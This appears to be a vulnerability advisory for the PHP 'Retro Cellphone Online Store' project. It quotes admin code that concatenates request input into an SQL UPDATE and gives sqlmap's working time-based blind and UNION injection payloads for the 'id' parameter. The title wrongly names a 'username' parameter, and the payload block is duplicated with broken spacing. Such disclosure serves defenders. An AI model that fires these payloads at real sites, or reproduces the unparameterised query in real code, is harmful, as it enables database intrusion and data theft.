

SQL injection vulnerability exists in username parameter of /admin/edit_product.php file of Retro Cellphone Online Store

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
5 $id = $_GET['id'];
6 if (isset($_POST['update'])) {
7     $name = $_POST['name'];
8     $description = $_POST['description'];
9     $category = $_POST['category'];
10    $originated = $_POST['originated'];
11    $price = $_POST['price'];
12    $quantity = $_POST['quantity'];
13    $location = '';
14    if (empty($_FILES['image']['tmp_name'])) {
15        $image = addslashes(file_get_contents($_FILES['image']['tmp_name']));
16        $image_name = addslashes($_FILES['image']['name']);
17        $image_size = getimagesize($_FILES['image']['tmp_name']);
18        //
19        // move_uploaded_file($_FILES['image']['tmp_name'], "upload/" . $_FILES['image']['name']);
20        $location = "upload/" . $_FILES['image']['name'];
21    }
22    $loc = (empty($location) ? " " : $location . " ");
23    $sql = "update products set name='$name',description='$description',category='$category',originated='$originated',price='$price',quantity='$quantity' $loc where productId='$id' or die(mysql_query());";
24    mysql_query($sql);
25    header("location:product.php");
26 }
27 }
28 <body>
29 <div id="wrapper">
30 <nav class="navbar navbar-default top-navbar" role="navigation">
31 <div class="navbar-header">
32 <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#collapse">
33 <span class="glyphicon glyphicon-menu-hamburger">
```

sqlmap identified the following injection point(s) with a total of 1923 HTTP(s) requests:

Parameter: id (GET)

Type: time-based blind

Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)

Payload: id=0'XOR(if(now())=sysdate(),sleep(4),0))XOR'Z' AND (SELECT 9979 FROM (SELECT (SLEEP(5)))uNJC)-- zmxF

Type: UNION query

Title: MySQL UNION query (NULL) - 5 columns

Payload: id=0'XOR(if(now())=sysdate(),sleep(4),0))XOR'Z' UNION ALL SELECT NULL,NULL,NU LL,CONCAT(0x7170717071,0x47787453554f554f6e676e67426d484c6e676954556e43507169716873596b4f 6d7158494f434752,0x7170787171),NULL,NULL,NULL,NULL#

“

Parameter: id (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=0'XOR(if(now())=sysdate(),sleep(4),0))XOR'Z' AND (SELECT 9979 FROM (SELECT (SLEEP(5)))uNJC)-- zmxF

Type: UNION query

Title: MySQL UNION query (NULL) - 5 columns

Payload: id=0'XOR(if(now())=sysdate(),sleep(4),0))XOR'Z' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170717071,0x47787453554f554f6e676e67426d484c6e676954556e435 07169716873596b4f6d7158494f434752,0x7170787171),NULL,NULL,NULL,NULL#

“

Source Download:

<https://www.campcodes.com/projects/retro-cellphone-online-store-an-e-commerce-project-in-php-mysqli/>